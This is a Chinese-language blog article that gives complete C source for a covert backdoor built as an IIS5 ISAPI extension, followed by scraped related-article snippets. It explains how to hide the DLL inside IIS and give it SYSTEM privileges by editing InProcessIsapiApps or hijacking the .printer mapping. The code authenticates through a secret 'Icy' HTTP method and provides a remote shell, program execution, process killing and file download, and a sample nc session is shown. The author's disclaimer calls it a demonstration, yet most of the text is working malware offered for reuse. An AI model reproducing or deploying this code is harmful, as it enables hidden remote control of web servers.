IIS5 ISAPI Extension Back Door

一.前言

二.申明

三.实现

四.参考

一.前言

最近的sql injection攻击很流行,一般的解决方法是使用通用的防注入函数来保护程序不受威胁。但是有写些序作者经常忘记包含通用函数,导致没有效果。前些日子研究彻底防止SQL Injection攻击时,看了些IIS5的ISAPI Filter文档,决定利用IIS提供的API接口做个东西,这样可以很好的防止sql injection攻击。

凑巧发现,这样依附在IIS上面的扩展模块,还可以作为别的用处,比如作为一个后门程序。这样进程的隐藏,端口的隐藏,服务的隐藏问题都不需要解决,由IIS包办了。作为后门,为了隐蔽性,我选择了ISAPI Extension接口。前后大约一个多星期,做出了一个这样的东西,还不知道叫什么名字好。

二.申明

1.代码里面有些特殊字符,因为我忘记不了她,请自己修改。

2.代码可以随意转载,但是请保证文档完整,并不得用于商业用途。

3.代码可以随意修改,但是如果能够给我一份,将不胜感激。

4.代码我只是演示这种后门的危害,用做任何用途均与我无关。

三.实现

1.解析

鉴于隐蔽性,我没有选择ISAPI Filter,而是选择了ISAPI Extension方式。ISAPI Extension是IIS的功能扩展模块,它能独立支持某一项特殊的HTTP请求,系统默认支持的asp脚本由%SystemRoot%\system32\inetsrv\inetsrv\asp.dll解析。自己实现一个动态连接库,就可以实现自己特殊的功能,例如php就是利用自己带的dll文件来解析php文件的。IIS先获取请求文件的扩展名,再根据配置的应用程序映射,交由特定的dll处理。

2.权限

IIS5的配置都保存在%SystemRoot%\system32\inetsrv\MetaBase.bin文件中,它有两个主键:LM和Schema。LM主键下面有W3SVC/InProcessIsapiApps键,这是一个数组,里面包含的是一组指向一些ISAPI的路径。在这个数组里面的ISAPI运行的时候都是由inetinfo.exe直接启动的,继承inetinfo.exe的local system权限;而不在其中的ISAPI则是由svchost.exe派生的dllhost.exe进程启动的,运行的身份是IWAM_NAME,权限极低。这里,我们可以使用iis的脚本adsutil.vbs将我们的dll加到数组当中,命令为adsutil.vbs set w3svc/inprocessisapiapps Dll Path。更好的办法是替换掉printer扩展的映射,此映射由%systemroot%\msw3prt.dll来解析,而且这个dll文件默认存在于W3SVC/InProcessIsapiApps键中。这也就是2000年.printer溢出得到system权  限的原因。

3.导出

根据MSDN描述,ISAPI Extension需要导出三个函数,GetExtensionVersion,TerminateExtension以及HttpExtensionProc

4.功能

首先,密码功能肯定是需要的,这里我将标准的HTTP协议扩充出一个Icy方法,如果客户端使用此方法请求注册的映射,则认证成功,否则不予理睬。这里,你也可以修改代码,使用HTTP协议的其他部分做认证,比如Accept字段。

其次,后门主要是获取一个shell,但是某些服务器可能设置了禁止system访问cmd,因此,我还提供了下载功能,这样可以下载一个cmd,然后通过shell CustomerCmd运行,得到shell执行命令。最后就是列举进程和查杀进程了。

在虚拟机上测试,我注册了扩展名为yunshu交由此dll解析。使用nc连接,发送自己扩展的http协议,屏幕copy如下:

C:\>nc -vv 192.168.10.250 80

Warning: forward host lookup failed for Icy.missyou.com: h_errno 11004:NO_DATA

Icy.missyou.com [192.168.10.250] 80 (http) open: unknown socket error

Icy /test.yunshu HTTP/1.0

HOST: 192.168.10.250

Can you tell me how to forget some one?

Code by 云舒

Our team:www.ph4nt0m.org

Icy>help

Now,Support these command:

pslist--------------List Process Information

kill PID------------Kill The Process

exec Program--------Run A Program

shell ShellPath-----Get A System Shell,Normal shell cmd.exe

down URL------------DownLoad A File

exit----------------Exit

Icy>

5.代码

// ISAPI EXTENSION BACK DOOR

// Code by 云舒

// Thx EnvyMask

// 修改2005-08-14凌晨

// 最后2005-08-16

// Compiled On: Windows Server2003,VC++ 6.0

#include <stdio.h>

#include <string.h>

#include <windows.h>

#include <tlhelp32.h>

#include <httpext.h>

#include <UrlMon.h>

#pragma comment(lib, "urlmon.lib")

#define DEBUG

#define    LOGPATH        "c:\\ISAPI_LOG.txt"

//后门密码

#define    PASSWORD    "Icy"

//标识符

#define FLAG    "Icy>"

//缓冲区大小

#define    BUFFSIZE    1024 * 4

#define ARGSIZE        1024

typedef struct workArg

{

EXTENSION_CONTROL_BLOCK        *pECB;

char                        arg[ARGSIZE];

}WORKARG;

//定义函数原形

BOOL    StartWith( char * , char * );                        //判断第一个字符串是否以第二个字符串开头

void    SwitchCmd( EXTENSION_CONTROL_BLOCK * , char * );    //根据输入的命令来选择执行的功能

void    PsList( EXTENSION_CONTROL_BLOCK * );                //列举进程

void     Kill( LPVOID );                                        //杀进程

void    Shell( LPVOID );                                    //获取一个shell

void    ExecProgram( LPVOID );                                //运行一个程序

void    Help( EXTENSION_CONTROL_BLOCK * );                    //输出帮助

void    DownLoad( LPVOID );                                    //下载文件

BOOL    SendToClient( EXTENSION_CONTROL_BLOCK * , char * ); //发送数据到客户端

void    LogStrToFile( char * );                                //记录字符错误信息到日志

void    LogIntToFile( int );                                //记录整数信息到日志

//DLL入口

BOOL APIENTRY DllMain( HANDLE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved )

{

return TRUE;

}

//版本信息

BOOL WINAPI GetExtensionVersion(HSE_VERSION_INFO *pVer)

{

pVer->dwExtensionVersion = MAKELONG(HSE_VERSION_MINOR,HSE_VERSION_MAJOR);

strcpy( pVer->lpszExtensionDesc, "What_Can_I_Do?" );

return TRUE;

}

BOOL WINAPI TerminateExtension(  DWORD dwFlags  )

{

return TRUE;

}

DWORD WINAPI HttpExtensionProc(EXTENSION_CONTROL_BLOCK * pECB)

{

char     buff[BUFFSIZE] = { 0 };

char     *err = "Error...\n";

char     *helo = "Can you tell me how to forget some one?\nCode by 云舒\nOur team:www.ph4nt0m.org\n\n";

DWORD     dwBytes = 64;

//获取客户端密码,连接到web服务器,发送请求,请求方式为密码

pECB->GetServerVariable( pECB->ConnID , "REQUEST_METHOD" , buff , &dwBytes );

if ( strncmp( buff , PASSWORD , strlen(PASSWORD) ) != 0 )

{

SendToClient( pECB , err );

return HSE_STATUS_SUCCESS;

}

#ifdef    DEBUG

LogStrToFile( "-------------------------------\n" );

LogStrToFile( "客户端成功登陆\n" );

#endif

SendToClient( pECB , helo );

SendToClient( pECB , FLAG );

while(TRUE)

{

ZeroMemory( buff , BUFFSIZE );

dwBytes = BUFFSIZE;

while( buff[0] == ’\0’ )//判断是否是空串

{

Sleep(1000);

pECB->ReadClient( pECB->ConnID , buff , &dwBytes );

}

if( strcmp( buff , "exit\n" ) == 0 )

{

SendToClient( pECB , "ByeBye...\n" );

break;

}

SwitchCmd( pECB , buff );

}

return HSE_STATUS_SUCCESS;

}

void SwitchCmd( EXTENSION_CONTROL_BLOCK *pECB , char *buff )

{

WORKARG        workArg;

HANDLE        hThread = NULL;

DWORD        threadID = 0;

//SendToClient( pECB , "客户端命令: " );

//SendToClient( pECB , buff );

#ifdef    DEBUG

LogStrToFile( "客户端命令: " );

LogStrToFile( buff );

#endif

//去掉命令里面的回车符

*(strchr( buff , ’\n’ )) = ’\0’;

//参数不能超过ARGSIZE

if( strlen( buff+5 ) >= ARGSIZE )

{

SendToClient( pECB , "Arguments is too long...\n" );

SendToClient( pECB , FLAG );

return;

}

//将要传递给新线程的参数清空

ZeroMemory( workArg.arg , sizeof(workArg.arg) );

//如果是pslist命令,列举进程

if( StartWith(buff , "pslist") )

{

hThread = CreateThread( NULL ,

0 ,

(LPTHREAD_START_ROUTINE)PsList ,

(LPVOID)pECB ,

0 ,

&threadID );

if( hThread == NULL )

{

#ifdef DEBUG

LogStrToFile( "创建线程列举进程失败,错误码: " );

LogIntToFile( GetLastError( ) );

LogStrToFile( "\n" );

#endif

SendToClient( pECB , "List process error...\n" );

SendToClient( pECB , FLAG );

return;

}

WaitForSingleObject( hThread , 6000 );

CloseHandle( hThread );

SendToClient( pECB , FLAG );

return;

}

//kill命令,杀进程

else if( StartWith(buff , "kill") )

{

//如果没有参数

if( *( buff+5 ) == ’\0’ )

{

SendToClient( pECB , "Usage:kill pid\n" );

SendToClient( pECB , FLAG );

return;

}

workArg.pECB = pECB;

strcpy( workArg.arg , buff+5 );

hThread = CreateThread( NULL ,

0 ,

(LPTHREAD_START_ROUTINE)Kill ,

(LPVOID)&workArg ,

0 ,

&threadID );

if( hThread == NULL )

{

#ifdef DEBUG

LogStrToFile( "创建线程杀进程失败,错误码: " );

LogIntToFile( GetLastError( ) );

LogStrToFile( "\n" );

#endif

SendToClient( pECB , "Kill process error...\n" );

SendToClient( pECB , FLAG );

return;

}

WaitForSingleObject( hThread , 5000 );

CloseHandle( hThread );

SendToClient( pECB , FLAG );

return;

}

//shell命令,运行一个cmd获取shell,为防止主机设置权限,需指明cmd路径

else if( StartWith(buff , "shell") )

{

//如果没有参数

if( *( buff+6 ) == ’\0’ )

{

SendToClient( pECB , "Usage:shell ShellPath\n" );

SendToClient( pECB , FLAG );

return;

}

workArg.pECB = pECB;

strcpy( workArg.arg , buff+6 );

hThread = CreateThread( NULL ,

0 ,

(LPTHREAD_START_ROUTINE)Shell ,

(LPVOID)&workArg ,

0 ,

&threadID );

if( hThread == NULL )

{

#ifdef DEBUG

LogStrToFile( "创建线程执行shell失败,错误码: " );

LogIntToFile( GetLastError( ) );

LogStrToFile( "\n" );

#endif

SendToClient( pECB , "Get shell error...\n" );

SendToClient( pECB , FLAG );

return;

}

WaitForSingleObject( hThread , INFINITE );

CloseHandle( hThread );

return;

}

else if( StartWith(buff , "exec") )

{

//如果没有参数

if( *( buff+5 ) == ’\0’ )

{

SendToClient( pECB , "Usage:shell ShellPath\n" );

SendToClient( pECB , FLAG );

return;

}

workArg.pECB = pECB;

strcpy( workArg.arg , buff+5 );

hThread = CreateThread( NULL ,

0 ,

(LPTHREAD_START_ROUTINE)ExecProgram ,

(LPVOID)&workArg ,

0 ,

&threadID );

if( hThread == NULL )

{

#ifdef DEBUG

LogStrToFile( "创建线程运行程序失败,错误码: " );

LogIntToFile( GetLastError( ) );

LogStrToFile( "\n" );

#endif

SendToClient( pECB , "Execute program error...\n" );

SendToClient( pECB , FLAG );

return;

}

WaitForSingleObject( hThread , 10000 );

CloseHandle( hThread );

return;

}

//down命令,利用http协议下载文件

else if( StartWith(buff , "down") )

{

//如果没有参数

if( *( buff+5 ) == ’\0’ )

{

SendToClient( pECB , "Usage:down http://www.example.com/test.exe\n" );

SendToClient( pECB , FLAG );

return;

}

workArg.pECB = pECB;

strcpy( workArg.arg , buff+5 );

hThread = CreateThread( NULL ,

0 ,

(LPTHREAD_START_ROUTINE)DownLoad ,

(LPVOID)&workArg ,

0 ,

&threadID );

if( hThread == NULL )

{

#ifdef DEBUG

LogStrToFile( "创建线程下载文件失败,错误码: " );

LogIntToFile( GetLastError( ) );

LogStrToFile( "\n" );

#endif

SendToClient( pECB , "Download file error...\n" );

SendToClient( pECB , FLAG );

return;

}

WaitForSingleObject( hThread , INFINITE );

CloseHandle( hThread );

SendToClient( pECB , FLAG );

return;

}

//命令不正确,输出帮助

else

{

hThread = CreateThread( NULL ,

0 ,

(LPTHREAD_START_ROUTINE)Help ,

(LPVOID)pECB ,

0 ,

&threadID );

if( hThread == NULL )

{

#ifdef DEBUG

LogStrToFile( "创建线程输出帮助信息失败,错误码: " );

LogIntToFile( GetLastError( ) );

LogStrToFile( "\n" );

#endif

SendToClient( pECB , "Print help error...\n" );

SendToClient( pECB , FLAG );

return;

}

WaitForSingleObject( hThread , 5000 );

CloseHandle( hThread );

SendToClient( pECB , FLAG );

return;

}

}

//判断字符串buf1是否以buf2开头,是返回真

BOOL StartWith( char *buf1, char *buf2 )

{

int len = strlen(buf2);

if( memcmp( buf1,buf2,len) == 0)

{

return TRUE;

}

return FALSE;

}

//运行shell

void Shell( LPVOID arg )

{

WORKARG                 *workArg = (WORKARG *)arg;

SECURITY_ATTRIBUTES     sa;

HANDLE                     hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

STARTUPINFO                si;

PROCESS_INFORMATION     procInfo;

char                    cmdLine[ARGSIZE] = { 0 };

char                    buff[BUFFSIZE] = { 0 };

int                        ret = 0;

unsigned long            dwBytes = 0;

int                        index = 0;

EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;

strcpy( cmdLine , workArg->arg );

if( cmdLine[0] == ’\0’ )

{

#ifdef    DEBUG

LogStrToFile( "执行shell时,没有要输入要运行的shell路径\n" );

#endif

SendToClient( pECB , "No shell to run...\n" );

SendToClient( pECB , FLAG );

return;

}

#ifdef    DEBUG

LogStrToFile( "要运行的程序: " );

LogStrToFile( workArg->arg );

LogStrToFile( "\n" );

#endif

//安全选项

sa.nLength = sizeof( sa );

sa.lpSecurityDescriptor = 0;

sa.bInheritHandle = TRUE;

//初始化管道

if( !CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0) )

{

#ifdef    DEBUG

LogStrToFile( "建立管道失败: " );

LogIntToFile( GetLastError() );

LogStrToFile( "\n" );

#endif

SendToClient( pECB , "Create pipi error...\n" );

SendToClient( pECB , FLAG );

return;

}

if( !CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0) )

{

#ifdef    DEBUG

LogStrToFile( "建立管道失败: " );

LogIntToFile( GetLastError() );

LogStrToFile( "\n" );

#endif

SendToClient( pECB , "Create pipi error...\n" );

SendToClient( pECB , FLAG );

return;

}

ZeroMemory( &si , sizeof(STARTUPINFO) );

GetStartupInfo( &si );

si.cb = sizeof( si );

si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

si.wShowWindow = SW_HIDE;

si.hStdInput = hReadPipe2;

si.hStdOutput = si.hStdError = hWritePipe1;

ZeroMemory( &procInfo , sizeof(PROCESS_INFORMATION) );

ret = CreateProcess( NULL , cmdLine , NULL , NULL , 1 , 0 , NULL , NULL , &si , &procInfo );

if( !ret )

{

#ifdef    DEBUG

LogStrToFile( "建立进程失败...\n" );

LogIntToFile( GetLastError() );

#endif

SendToClient( pECB , "Create process error...\n" );

SendToClient( pECB , FLAG );

return;

}

while(1)

{

memset( buff , 0 , BUFFSIZE );

ret=PeekNamedPipe( hReadPipe1 , buff , BUFFSIZE , &dwBytes , NULL , NULL );

//尝试5次读取管道,防止延迟发生错误

for( index = 0; index < 5 && dwBytes == 0; index ++ )

{

Sleep(100);

ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&dwBytes,NULL,NULL);

}

//获取输出信息,输出到客户端

if(dwBytes)

{

ret = ReadFile( hReadPipe1,buff,dwBytes,&dwBytes,0 );

if( !ret )

{

#ifdef    DEBUG

LogStrToFile( "读取输出失败: " );

LogIntToFile( GetLastError() );

LogStrToFile( "\n" );

#endif

break;

}

#ifdef    DEBUG

LogStrToFile( buff );

#endif

ret = SendToClient( pECB , buff );

if( ret<=0 )

{

#ifdef    DEBUG

LogStrToFile( "发送输出失败:" );

LogIntToFile( GetLastError() );

LogStrToFile( "\n" );

#endif

break;

}

}

//从客户端获取命令

else

{

//客户端无输入则循环读取

while( buff[0] == ’\0’ )

{

Sleep(100);

dwBytes = BUFFSIZE;

pECB->ReadClient( pECB->ConnID , buff , &dwBytes );

}

#ifdef    DEBUG

LogStrToFile( "读到客户命令了,内容是: " );

LogStrToFile( buff );

#endif

//如果是exit命令,退出连接

if( strcmp( buff , "exit\n" ) == 0 )

{

SendToClient( pECB , "ByeBye~!\n" );

break;

}

ret = WriteFile( hWritePipe2 , buff , dwBytes , &dwBytes , 0 );

if( !ret )

{

#ifdef    DEBUG

LogStrToFile( "把命令发送到shell失败\n" );

LogIntToFile( GetLastError() );

LogStrToFile( "\n" );

#endif

break;

}

}

}

CloseHandle(hReadPipe1);

CloseHandle(hReadPipe2);

CloseHandle(hWritePipe1);

CloseHandle(hWritePipe2);

TerminateProcess( procInfo.hProcess , 0 );

return;

}

//运行一个程序

void    ExecProgram( LPVOID arg )

{

WORKARG                 *workArg = (WORKARG *)arg;

SECURITY_ATTRIBUTES     sa;

HANDLE                     hReadPipe1 = NULL;

HANDLE                    hWritePipe1 = NULL;

STARTUPINFO                si;

PROCESS_INFORMATION     procInfo;

char                    cmdLine[ARGSIZE] = { 0 };

char                    buff[BUFFSIZE] = { 0 };

int                        ret = 0;

unsigned long            dwBytes = 0;

EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;

strcpy( cmdLine , workArg->arg );

if( cmdLine[0] == ’\0’ )

{

#ifdef    DEBUG

LogStrToFile( "执行程序时,没有要输入要运行的程序\n" );

#endif

SendToClient( pECB , "No program to run...\n" );

SendToClient( pECB , FLAG );

return;

}

#ifdef    DEBUG

LogStrToFile( "要运行的程序: " );

LogStrToFile( workArg->arg );

LogStrToFile( "\n" );

#endif

//安全选项

sa.nLength = sizeof( sa );

sa.lpSecurityDescriptor = 0;

sa.bInheritHandle = TRUE;

//初始化管道

if( !CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0) )

{

#ifdef    DEBUG

LogStrToFile( "建立管道失败: " );

LogIntToFile( GetLastError() );

LogStrToFile( "\n" );

#endif

SendToClient( pECB , "Create pipi error...\n" );

SendToClient( pECB , FLAG );

return;

}

ZeroMemory( &si , sizeof(STARTUPINFO) );

GetStartupInfo( &si );

si.cb = sizeof( si );

si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

si.wShowWindow = SW_HIDE;

si.hStdOutput = si.hStdError = hWritePipe1;

ZeroMemory( &procInfo , sizeof(PROCESS_INFORMATION) );

ret = CreateProcess( NULL , cmdLine , NULL , NULL , 1 , 0 , NULL , NULL , &si , &procInfo );

if( !ret )

{

#ifdef    DEBUG

LogStrToFile( "建立进程失败...\n" );

LogIntToFile( GetLastError() );

#endif

SendToClient( pECB , "Create process error...\n" );

SendToClient( pECB , FLAG );

return;

}

memset( buff , 0 , BUFFSIZE );

//读取程序输出

while( dwBytes == 0 )

{

Sleep(200);

ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&dwBytes,NULL,NULL);

}

ret = ReadFile( hReadPipe1,buff,dwBytes,&dwBytes,0 );

if( !ret )

{

#ifdef    DEBUG

LogStrToFile( "读取输出失败: " );

&n, bsp;          LogIntToFile( GetLastError() );

LogStrToFile( "\n" );

#endif

}

#ifdef    DEBUG

LogStrToFile( buff );

#endif

ret = SendToClient( pECB , buff );

if( ret<=0 )

{

#ifdef    DEBUG

LogStrToFile( "发送输出失败:" );

LogIntToFile( GetLastError() );

LogStrToFile( "\n" );

#endif

}

CloseHandle(hReadPipe1);

CloseHandle(hWritePipe1);

TerminateProcess( procInfo.hProcess , 0 );

return;

}

void    PsList( EXTENSION_CONTROL_BLOCK *pECB  )

{

HANDLE            hProcessSnap = NULL;

HANDLE            hProcess = NULL;

PROCESSENTRY32     pe32;

char            psBuff[BUFFSIZE] = { 0 };

SendToClient( pECB , "Process Information List 0.1\n\n" );

/*

SendToClient( pECB , "Code by 云舒(wustyunshu@hotmail.com)\n" );

SendToClient( pECB , "www.ph4nt0m.org www.icylife.net\n" );

*/

hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );

if( hProcessSnap == INVALID_HANDLE_VALUE )

{

#ifdef    DEBUG

LogStrToFile( "Call CreateToolhelp32Snapshot error" );

LogIntToFile( GetLastError() );

#endif

SendToClient( pECB , "List process information error...\n" );

return;

}

pe32.dwSize = sizeof( PROCESSENTRY32 );

if( !Process32First( hProcessSnap, &pe32 ) )

{

#ifdef    DEBUG

LogStrToFile( "Call Process32First error" );

LogIntToFile( GetLastError() );

#endif

SendToClient( pECB , "List process information error...\n" );

SendToClient( pECB , FLAG );

CloseHandle( hProcessSnap );

return;

}

SendToClient( pECB , "PID\t\tProcessName\n" );

do

{

ZeroMemory( psBuff , sizeof(psBuff) );

sprintf( psBuff , "%d\t\t%s\n", pe32.th32ProcessID , pe32.szExeFile );

SendToClient( pECB , psBuff );

}

while( Process32Next( hProcessSnap, &pe32 ) );

return;

}

void    Kill( LPVOID arg )

{

WORKARG        *workArg = (WORKARG *)arg;

HANDLE        hProcess = NULL;

DWORD        pID;

EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;

HANDLE                hToken;

LUID                 sedebugnameValue;

TOKEN_PRIVILEGES     tkp;

pID = atoi( workArg->arg );

if ( !OpenProcessToken( GetCurrentProcess() , TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY , &hToken ) )

{

#ifdef    DEBUG

LogStrToFile( "Call OpenProcessToken error" );

LogIntToFile( GetLastError() );

#endif

SendToClient( pECB , "Kill process error...\n" );

return;

}

if ( !LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) )

{

#ifdef    DEBUG

LogStrToFile( "Call LookupPrivilegeValue error" );

LogIntToFile( GetLastError() );

#endif

SendToClient( pECB , "Kill process error...\n" );

return;

}

tkp.PrivilegeCount = 1;

tkp.Privileges[0].Luid = sedebugnameValue;

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL );

CloseHandle( hToken );

hProcess = OpenProcess( PROCESS_TERMINATE , FALSE , pID );

if( hProcess ==INVALID_HANDLE_VALUE || hProcess == NULL )

{

#ifdef    DEBUG

LogStrToFile( "Call OpenProcess error" );

LogIntToFile( GetLastError() );

#endif

SendToClient( pECB , "Kill process error...\n" );

CloseHandle( hToken );

CloseHandle( hProcess );

return;

}

if ( !TerminateProcess( hProcess, (DWORD) -1 ) )

{

#ifdef    DEBUG

LogStrToFile( "Call TerminateProcess error" );

LogIntToFile( GetLastError() );

#endif

SendToClient( pECB , "Kill process error...\n" );

CloseHandle( hToken );

CloseHandle( hProcess );

return;

}

SendToClient( pECB , "killed ok\n" );

CloseHandle( hToken );

CloseHandle( hProcess );

return;

}

void    DownLoad( LPVOID arg )

{

WORKARG    *workArg = (WORKARG *)arg;

char    fileName[64] = { 0 };//保存的文件名

char    fullPath[256] = { 0 };//保存的完整地址

char    url[ARGSIZE] = { 0 };//下载的URL

char    seps[] = "/";//分割字符

char    *token;

int        ret = 0;

EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;;

strcpy( url , workArg->arg );

token = strtok( url , seps );

while( token != NULL )

{

strcpy( fileName , token );

token = strtok( NULL , seps );

}

strcpy( url , workArg->arg );

GetCurrentDirectory( sizeof(fullPath) - sizeof(fileName) , fullPath );

strcat( fullPath , "\\" );

strcat( fullPath , fileName );

SendToClient( pECB , "Download " );

SendToClient( pECB , url );

SendToClient( pECB , "\nThe file saved to " );

SendToClient( pECB , fullPath );

ret = URLDownloadToFile( 0 , url , fullPath , 0 , 0 );

if( ret == S_OK )

{

SendToClient( pECB , "\nDownLoad ok\n" );

return;

}

#ifdef    DEBUG

LogStrToFile( "Call URLDownloadToFile error" );

LogIntToFile( GetLastError() );

#endif

SendToClient( pECB , "DownLoad file error...\n" );

return;

}

void    Help( EXTENSION_CONTROL_BLOCK * pECB)

{

char    buff[BUFFSIZE] = "\nNow,Support these command:\n";

strcat( buff , "pslist--------------List Process Information\n" );

strcat( buff , "kill PID------------Kill The Process\n" );

strcat( buff , "exec Program--------Run A Program\n" );

strcat( buff , "shell ShellPath-----Get A System Shell,Normal shell cmd.exe\n" );

strcat( buff , "down URL------------DownLoad A File\n" );

strcat( buff , "exit----------------Exit\n" );

SendToClient( pECB , buff );

return;

}

void     LogStrToFile( char *buff )

{

FILE    *fp = NULL;

fp = fopen( LOGPATH , "a+" );

if( fp == NULL ) return;

fputs( buff , fp );

fclose( fp );

}

void    LogIntToFile( int num )

{

FILE    *fp = NULL;

fp = fopen( LOGPATH , "a+" );

if( fp == NULL ) return;

fprintf( fp , "%d" , num );

fclose( fp );

}

BOOL    SendToClient( EXTENSION_CONTROL_BLOCK * pECB , char *buff )

{

DWORD    dwByte = strlen(buff);

return (pECB->WriteClient( pECB->ConnID , buff , &dwByte , 0 ));

}

四.感谢与参考

1.在获取shell的时候格式很难看,envymask告诉我是网络延迟的原因,得以解决,感谢!

2.参考《绿盟安全月刊》第37期的技术专题里面的第五章《Exploit Microsoft INTERNET INFORMATION SERVER》,地址为http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1662

3.参考MSDN函数库

Our Team: http://www.ph4nt0m.org

Author: 云舒(wustyunshu@hotmail.com)

(0)

相关推荐

  • IIS5 ISAPI Extension Back Door

    一.前言 二.申明 三.实现 四.参考 一.前言 最近的sql injection攻击很流行,一般的解决方法是使用通用的防注入函数来保护程序不受威胁.但是有写些序作者经常忘记包含通用函数,导致没有效果.前些日子研究彻底防止SQL Injection攻击时,看了些IIS5的ISAPI Filter文档,决定利用IIS提供的API接口做个东西,这样可以很好的防止sql injection攻击. 凑巧发现,这样依附在IIS上面的扩展模块,还可以作为别的用处,比如作为一个后门程序.这样进程的隐藏,端口的

  • ISAPI Rewrite 非官方中文配置手册_蓝色版本第1/3页

    发这个帮助文件是因为在给朋友设置主机的时候发现他们的ISAPI Rewrite的设置都有些不正确,有些甚至阻碍了站点的正常运行.就把官方自带的英文帮助粗略的翻译了一下.大家可以自由使用和转载.但转载时如果你愿意请注明是 蓝色 翻译的版本. =================== ISAPI Rewrite 配置简介: 在NT/2000/XP和2003平台上,ISAPI Rewrite在系统帐户下射入INETINFO进程与 IIS 以共存模式过滤器运行.所以系统帐户应该给予对ISAPI- REWI

  • ASP.NET Process Model之一 IIS 和 ASP.NET ISAPI

    前几天有一个朋友在MSN上问我"ASP.NET 从最初的接收到Http request到最终生成Response的整个流程到底是怎样的?"我觉得这个问题涉及到IIS和ASP.NETASP.NET Runtime的处理模型的问题,并不是三言两语就能说清楚的,所以决定写这样一篇介绍IIS和ASP.NET Runtime Process Model的文章,谈谈我对此的一个粗浅的认识,如果有什么不对的地方,希望大家及时指正. 这篇文章大体分为两个部分,第一部分我将谈谈IIS的两个不同的版本-I

  • IIS处理Asp.net请求和Asp.net页面生命周期说明

    首先我们要弄清楚两个非常重要的概念: 1, worker process(w3wp.exe). worker process管理所有的来自客户端的请求并给出响应.它是IIS下asp.net应用程序的核心. 2, application pool. 它是worker process的容器,IIS5及之前的IIS版本均没有application pool的概念.每一个application pool对应着一个worker process,在IIS Metabase中维护着Application Po

  • IIS处理Asp.net请求和Asp.net页面生命周期详细说明

    ASP.NET 页运行时,此页将经历一个生命周期,在生命周期中将执行一系列处理步骤.这些步骤包括初始化.实例化控件.还原和维护状态.运行事件处理程序代码以及进行呈现.了解页生命周期非常重要,因为这样做您就能在生命周期的合适阶段编写代码,以达到预期效果.此外,如果您要开发自定义控件,就必须熟悉页生命周期,以便正确进行控件初始化,使用视图状态数据填充控件属性以及运行任何控件行为代码.(控件的生命周期基于页的生命周期,但是页引发的控件事件比单独的 ASP.NET 页中可用的事件多.) 一般来说,页要经

  • ISAPI_rewrite中文参考手册第1/3页

    ISAPI_rewrite中文手册 原文档:http://www.isapirewrite.com/docs/ =========================================  配置:  在NT 2000 XP和2003平台上,在系统帐户下应该INETINFO程序应该与IIS5以共存模式过滤器运行.所以系统帐户应该给予对所有的ISAPI-REWIRITE DLLS 和所有的HTTPD.INI文件至少可读权限,我们也推荐对给予系统帐户对于所有包括HTTPD.INI文件的文件夹的

  • ISAPI_rewrite中文手册附多站点配置方法第1/4页

    配置: 在NT 2000 XP和2003平台上,在系统帐户下应该INETINFO程序应该与IIS5以共存模式过滤器运行.所以系统帐户应该给予对所有的ISAPI-REWIRITE DLLS 和所有的HTTPD.INI文件至少可读权限,我们也推荐对给予系统帐户对于所有包括HTTPD.INI文件的文件夹的可写权限,这将允许产生HTTP.PARSE.ERRORS文件,这些文件包含配置文件语法错误.对于PROXY模块也需要额外的权限,因为它将运行于连接池或HIGH-ISPLATED应用模式,IIS帐户共享

  • ISAPI_Rewrite 3.1 教程中文版

    第一章:软件介绍 ISAPI_Rewrite 是一款适用于IIS的功能强大的基于正则表达式的URL处理模块.它兼容Apache的mod_rewrite的语法,从而使仅仅复制.htaccess文件就把配置从appach移植到IIS中或者从IIS移值到appach中变成可能.请参阅3.2兼容性图表这一节. ISAPI_Rewrite最重要的功能: ISAPI_Rewrite提供了和Apach mod_rewrite相同的句法和行为,使仅仅拷贝.htaccess文件就完成配置移植成为功能.(要想阅读更

  • ISAPI-REWRITE伪静态规则写法以及说明

    REWRITE伪静态 一.Apache配置: 进入/etc/httpd/conf/目录下,打开httpd.conf文件. 启用rewrite # LoadModule rewrite_module modules/mod_rewrite.so 去除前面的 # 启用.htaccess AllowOverride None 修改为: AllowOverride All ------------------------------------------------------------------

  • IIS7中ASP.net 请求处理过程说明

    IIS7 站点启动并处理请求的步骤如下图: 步骤 1 到 6 ,是处理应用启动,启动好后,以后就不需要再走这个步骤了. 上图的8个步骤分别如下: 当客户端浏览器开始HTTP 请求一个WEB 服务器的资源时,HTTP.sys 拦截到这个请求. HTTP.sys contacts WAS to obtain information from the configuration store. WAS 向配置存储中心请求配置信息.applicationHost.config. WWW 服务接受到配置信息

随机推荐